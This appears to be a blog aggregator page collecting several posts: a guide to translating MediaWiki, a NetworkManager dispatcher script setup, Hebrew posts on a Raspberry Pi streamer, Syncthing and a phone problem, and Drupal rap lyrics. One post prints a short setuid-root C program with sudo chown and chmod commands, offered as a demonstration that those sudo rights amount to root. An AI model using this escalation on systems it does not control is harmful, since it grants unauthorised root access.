    Start from MediaWiki most important messages. If your language is not at 100% in this list, it absolutely must be. This list is automatically created periodically by counting which 600 or so messages are actually shown most frequently to Wikipedia users. This list includes messages from MediaWiki core and a bunch of extensions, so when you’re done with it, you’ll see that the statistics for several groups improved by themselves.

    Now, if the translation of MediaWiki core to your language is not yet at 18%, get it there. Why 18%? Because that’s the threshold for exporting your language to the source code. This is essential for making it possible to use your language in your Wikipedia (or Incubator). It will be quite easy to find short and simple messages to translate (of course, you still have to do it carefully and correctly).

    Getting Things Done, One by One

    Once you have the most important MediaWiki messages 100% and at least 18% of MediaWiki core is translated to your language, where do you go next?

    I have surprising advice.

    You need to get everything to 100% eventually. There are several ways to get there. Your mileage may vary, but I’m going to suggest the way that worked for me: Complete the piece that is the easiest to get to 100%! For me this is an easy way to strike an item off my list and feel that I accomplished something.

    But still, there are so many items at which you could start looking! So here’s my selection of components that are more user-visible and less technical, sorted not by importance, but by the number of messages to translate:

    I put MediaWiki core last intentionally. It’s a very large message group, with over 3000 messages. It’s hard to get it completed quickly, and to be honest, some of its features are not seen very frequently by users who aren’t site administrators or very advanced editors. By all means, do complete it, try to do it as early as possible, and get your friends to help you, but it’s also OK if it takes some time.

    Getting All Things Done

    OK, so if you translate all the items above, you’ll make Wikipedia in your language mostly usable for most readers and editors.

    But let’s go further.

    Let’s go further not just for the sake of seeing pure 100% in the statistics everywhere. There’s more.

    As I wrote above, the software changes every single day. So do the translatable messages. You need to get your language to 100% not just once; you need to keep doing it continuously.

    Once you make the effort of getting to 100%, it will be much easier to keep it there. This means translating some things that are used rarely (but used nevertheless; otherwise they’d be removed). This means investing a few more days or weeks into translating-translating-translating.

    But you’ll be able to congratulate yourself on the accomplishments along the way, and on the big accomplishment of getting everything to 100%.

    One strategy to accomplish this is translating extension by extension. This means, going to your translatewiki.net language statistics: here’s an example with Albanian, but choose your own. Click “expand” on MediaWiki, then again “expand” on “MediaWiki Extensions”, then on “Extensions used by Wikimedia” and finally, on “Extensions used by Wikimedia – Main”. Similarly to what I described above, find the smaller extensions first and translate them. Once you’re done with all the Main extensions, do all the extensions used by Wikimedia. (Going to all extensions, beyond Extensions used by Wikimedia, helps users of these extensions, but doesn’t help Wikipedia very much.) This strategy can work well if you have several people translating to your language, because it’s easy to divide work by topic.

    Another strategy is quietly competing with other languages. Open the statistics for Extensions Used by Wikimedia – Main. Find your language. Now translate as many messages as needed to pass the language above you in the list. Then translate as many messages as needed to pass the next language above you in the list. Repeat until you get to 100%.

    For example, here’s an excerpt from the statistics for today:

    MediaWiki translation stats exampleLet’s say that you are translating to Malay. You only need to translate eight messages to go up a notch. Then six messages more to go up another notch. And so on.

    Once you’re done, you will have translated over 3,400 messages, but it’s much easier to do it in small steps.

    Once you get to 100% in the main extensions, do the same with all the Extensions Used by Wikimeda. It’s over 10,000 messages, but the same strategies work.

    Good Stuff to Do Along the Way

    Never assume that the English message is perfect. Never. Do what you can to improve the English messages.

    Developers are people just like you are. They may know their code very well, but they may not be the most brilliant writers. And though some messages are written by professional user experience designers, some are written by the developers themselves. Developers are developers; they are not necessarily very good writers or designers, and the messages that they write in English may not be perfect. Keep in mind that many, many MediaWiki developers are not native English speakers; a lot of them are from Russia, Netherlands, India, Spain, Germany, Norway, China, France and many other countries, and English is foreign to them, and they may make mistakes.

    So report problems with the English messages to the translatewiki Support page. (Use the opportunity to help other translators who are asking questions there, if you can.)

    Another good thing is to do your best to try running the software that you are translating. If there are thousands of messages that are not translated to your language, then chances are that it’s already deployed in Wikipedia and you can try it. Actually trying to use it will help you translate it better.

    Whenever relevant, fix the documentation displayed near the translation area. Strange as it may sound, it is possible that you understand the message better than the developer who wrote it!

    Before translating a component, review the messages that were already translated. It’s useful for learning the current terminology, and you can also improve them and make them more consistent.

    After you gain some experience, create a localization guide in your language. There are very few of them, and there should be more. Here’s the localization guide for French, for example. Create your own with the title “Localisation guidelines/xyz” where “xyz” is your language code.

    As in Wikipedia, Be Bold.

    OK, So I Got to 100%, What Now?

    Well done and congratulations.

    Now check the statistics for your language every day. I can’t emphasize how important it is to do this every day.

    The way I do this is having a list of links on my translatewiki.net user page. I click them every day, and if there’s anything new to translate, I immediately translate it. Usually there is just a small number of new messages to translate; I didn’t measure, but usually it’s less than 20. Quite often you won’t have to translate from scratch, but to update the translation of a message that changed in English, which is usually even faster.

    But what if you suddenly see 200 new messages to translate? It happens occasionally. Maybe several times a year, when a major new feature is added or an existing feature is changed.

    Basically, handle it the same way you got to 100% before: step by step, part by part, day by day, week by week, notch by notch, and get back to 100%.

    But you can also try to anticipate it. Follow the discussions about new features, check out new extensions that appear before they are added to the Extensions Used by Wikimedia group, consider translating them when you have a few spare minutes. At the worst case, they will never be used by Wikimedia, but they may be used by somebody else who speaks your language, and your translations will definitely feed the translation memory database that helps you and other people translate more efficiently and easily.

    Consider also translating other useful projects: OpenStreetMap, Etherpad, Blockly, Encyclopedia of Life, etc. The same techniques apply everywhere.

    What Do I Get for Doing All This Work?

    The knowledge that thanks to you people who speak your language can use Wikipedia without having to learn English. Awesome, isn’t it?

    Oh, and enormous experience with software localization, which is a rather useful job skill these days.

    Is There Any Other Way in Which I Can Help?

    Yes!

    If you find this post useful, please translate it to other languages and publish it in your blog. No copyright restrictions, public domain (but it would be nice if you credit me). Make any adaptations you need for your language. It took me years of experience to learn all of this, and it took me about four hours to write it. Translating it will take you much less than four hours, and it will help people be more efficient translators.


    Filed under: Free Software, localization, Wikipedia

    27 August, 2015 01:05 PM

    15 August, 2015

    Rabin Yasharzadeh

    [NetworkManager] Using dispatcher.d to run scripts based on network connectivity

    This post is based on my personal need to mount/umount some network shares automatically when I’m switching between networks (e.g Homer/Office). Later on I was looking to make it more modular and came out with this solution, which can be further extended.

    NetworkManager have a nice option to execute scripts after ones connect/disconnect to a network, you can find more in the Arch wiki page including some examples.

    The problem I had with the way dispatcher.d works is that it execute all the files in the dispatcher.d folder in a linear order, and you have to code each script to handle the interface, connection state and the network you’re connecting to, so at first all my scripts looked something like this,

    #!/bin/sh
    ### ONE OF OLD SCRIPT FORMAT
    
    USER='username'
    REMOTE='user@host:/remote/path'
    LOCAL='/local/path'
    
    interface=$1 status=$2
    if [ "$CONNECTION_UUID" = "uuid" ]; then
      case $status in
        up)
          export SSH_AUTH_SOCK=$(find /tmp -maxdepth 1 -type s -user "$USER" -name 'ssh')
          su "$USER" -c "sshfs $REMOTE $LOCAL"
          ;;
        down)
          fusermount -u "$LOCAL"
          ;;
      esac
    fi

    I hated that I had to replicate the if/case template for each script I was adding, so I came with a different approach. And in my current setup I added the following file to the dispatcher.d folder

    #!/bin/bash
    
    DEVICE=${1}
    STATE=${2}
    CWD=$(dirname "$0")
    
    LOG='/var/log/NetworkManager_dispatcher.d.log'
    
    # DEBUG
    echo "$(date +"%F %T") Called with ($*) and connection uuid is: ${CONNECTION_UUID}" >> ${LOG}
    
    # Needed only if you need to display notification popups
    #export DISPLAY=:0.0
    #export $(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep session)/environ)
    
    
    for FILE in ${CWD}/${CONNECTION_UUID}/${STATE}/*
    do
            #DEBUG
            echo "$(date +"%F %T") Running ${FILE}" >> ${LOG}
            . "${FILE}"
    done

    NetworkManager pass 2 parameters to each script it runs under the dispatcher directory,

    And so if we have connected to the home network with, The “master” script will list all the files under 

    ${CONNECTION_UUID}/up
      and will execute them one-by-one.

    And so my dispatcher folder structure look like this,

    # tree /etc/NetworkManager/dispatcher.d 
    
    /etc/NetworkManager/dispatcher.d 
    ├── 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
    │   ├── down/
    │   │   └── 00-umount-freenas-media*
    │   └── up/
    │       ├── 00-mount-freenas-media*
    │       ├── 70-wifi-wired-exclusive.sh*
    │       └── 99-set-display*
    ├── fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
    │   ├── down/
    │   └── up/
    │       └── 99-set-display*
    ...
    ├── Home -> 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
    ├── Office -> fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
    ...
    └── 88-MASTER-DISPATCHER*

    Remarks

    Links:

    15 August, 2015 08:28 PM

    09 August, 2015

    Ira Abramov

    איך לא לעצבן לנו את הנגן

    אין לי הרבה מה להגיד בפוסט הזה מלבד שנז"ק דיגיטלי הוא אכן נזק, ושנראה לי שאין לי היום מקוריות בבחירת כותרות פוסטים.

    (כן, עוברים חודשים, אני לא כותב על הביומטרי או על פיגועי טרור, או מחטפי הגז, כי מי שעוקב אחרי בטוויטר יודע שאני גם ככה מיואש ולא נותר אלא לרטווט את הכתבים המובילים ולבכות. אז אם אני פותח כבר את הוורדפרס (ששדרג השנה יותר גרסאות משאני כתבתי פוסטים) אני אעשה את זה כדי להתלונן על הדברים הקטנים שמציקים לי. צרות עולם ראשון אם תרצו.)

    באחד האמשים הזמנתי לי סטרימר קטן בקיקסטרטר. קופסת גפרורים שמתחברת בדיסקרטיות מאחורי הטלוויזיה, מבוססת פיירפוקס או-אס שהיא מעיין אדרואיד של עולם התוכנה החופשית. כשהמכשיר היה כמעט מוכן (לטענתם) הם פתאום החליטו להוסיף רכיבי תוכנת נז"ק דיגיטלי, לטעתם רק כך יוכלו המשתמשים להנות עד הסוף מאפשרויות הצפיה בנטפליקס, הולו+, אמאזון ושאר הירקות שממילא לא משדרות מחוץ לארה"ב אם לא תחמנת אותן עם VPN לכתובת IP אמריקנית ואולי גם כרטיס אשראי אמריקקי. לכבוד השדרוק, הודיעו, הם מעכבים את היציאה בכמה חודשים, מחזקים את המעבד ועוד כהנה. והנה עברו החודשים, המשתמשים שעוד לא התייאשו ובקשו החזר קיבלו הודעה מוזרה: "הסתבכנו עם הנז"ק הדיגיטלי, סוגרים את הבאסטה ומחזירים לכם את הכסף". מה קרה לתכניות המקוריות? לא ברור, אבל תאוריית הקונספירציה שכרגע נפוצה בין משתתפי הקמפיין היא שהעובדה שיש להם כסף להחזיר אומרת שקנו אותם, כנראה החברה הסינית שאיתה פיתחו את הפלטפורמה. אם יצא מוצר, הוא יהיה קנייני אני מניח. נו, לפחות הם מחזירים את הכסף, הקאקערים.

    אבל זה לא פוסט תלונה, זה פוסט עשיה, ואם רוצים להנות ממשהו ראוי, צריך לעשות את זה בעצמנו. הרשת מלאה בסטרימרים זולים ויקרים, חלקם מבוססים לינוקס, חלקם אנדרואיד וחלקם (שומו שמיים) איזה חלונות אמבדד או משהו (לפי השמועות). אך אני איני מתכופף לטכולוגיות קנייניות כמו שאתם מכירים אותי, אז הנה התוכנית:

    1. רספברי פאי 2, עם קופסת ABS קשיחה וספק כוח – סביבות $42. אם אתם רוצים ספק שגם יודע לדחוף זרמים כראוי, אני יכול להמליץ על המפלץ הזה.
    2. להתקין דביאן וקודי על כרטיס 16GB, נגיד עוד כ$5.
    3. כבל HDMI.
    4. זהו. סטרימינג מהרשת, מכוננים של USB או משרת הטורנטים שבחדר העבודה. מי צריך יותר מזה, תכלעס? אה, וזה אפילו מריץ מיינקראפט לילדה, אז בכלל…

    אופציונאליים:

    לאחר שהתקנתם את התוכנה והחומרה, כדאי להציץ במדריכים של קודי ישראל ביוטיוב, או בפורום שלהם לענייני עברית וישראל, או בכל אתר בינלאומי אחר שבא לכם. לא צריך קופסאות מאד יקרות כדי לקבל בימינו את כל היתרונות מקום אחד :-)

    אני מקווה שלא שכחתי כלום. בהצלחה!

    09 August, 2015 05:11 PM

    01 July, 2015

    Oldie

    Syncthing: סנכרון קבצים בן מחשבים מרוחקים

    היכולת לשתף בזמן אמת מספר רב של קבצים וספריות בן מחשבים וטלפונים ניידים (תוך גיבוי בענן) שדרגה את איכות חיינו ללא היכר. דרופבוקס ודומיה מציעות נוחות רבה שקשה לוותר עליה. מאידך כל הטוב הזה לא חסר מגרעות: האחסון בענן אומר … להמשיך לקרוא

    01 July, 2015 12:22 PM

    13 April, 2015

    Liran Tal

    The Drupal Rap song – Everyday I’m Drupalin’

    This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

     

     

     

    Lyrics:

    Chorus
    Everyday I’m drupalin

    Verse
    Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

    I got them distrobutions, I’m like acqia/
    Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
    Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

    Verse
    No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
    Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
    I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
    I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
    Mo scrums, equals better sprints, break the huddle, n the work begins

    Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
    Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

    The post The Drupal Rap song – Everyday I’m Drupalin’ appeared first on Liran Tal's Enginx.

    13 April, 2015 05:26 PM

    30 January, 2015

    Dan Fruehauf

    Privilege Escalation – be slack and pay for it

    My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

    I had to demonstrate it. So I did:

    cat <<EOF >> make-me-root.c
    #include <unistd.h>
    int main() {
        setuid(0);
        execv("/bin/bash", NULL);
        return 0;
    }
    EOF
    
    gcc -o make-me-root make-me-root.c
    sudo chown root make-me-root
    sudo chmod u+s make-me-root
    
    ./make-me-root
    

    Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

    And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


    30 January, 2015 12:43 AM

    25 December, 2014

    Shachar Shemesh

    נקסוס 4 לא עובד על פלאפון?

    לפני כמה שבועות החלפנו את מפעיל הסלולר שלנו לחברת פלאפון (כך וכך בכך שקלים ידה ידה ידה). החל מאתמול בלילה יש בעיה מוזרה. ניתן להוציא וגם לקבל שיחות, אבל לא שומעים כלום מאף אחד משני הצדדים. פשוט כלום. העברתי את הסים שלי למכשיר ישן יותר (נקסוס S), ושם הבעיה לא קיימת. לכאורה, מקרה חד וחלק […]

    The post נקסוס 4 לא עובד על פלאפון? appeared first on לינוקס ותוכנה חופשית.

    25 December, 2014 06:55 PM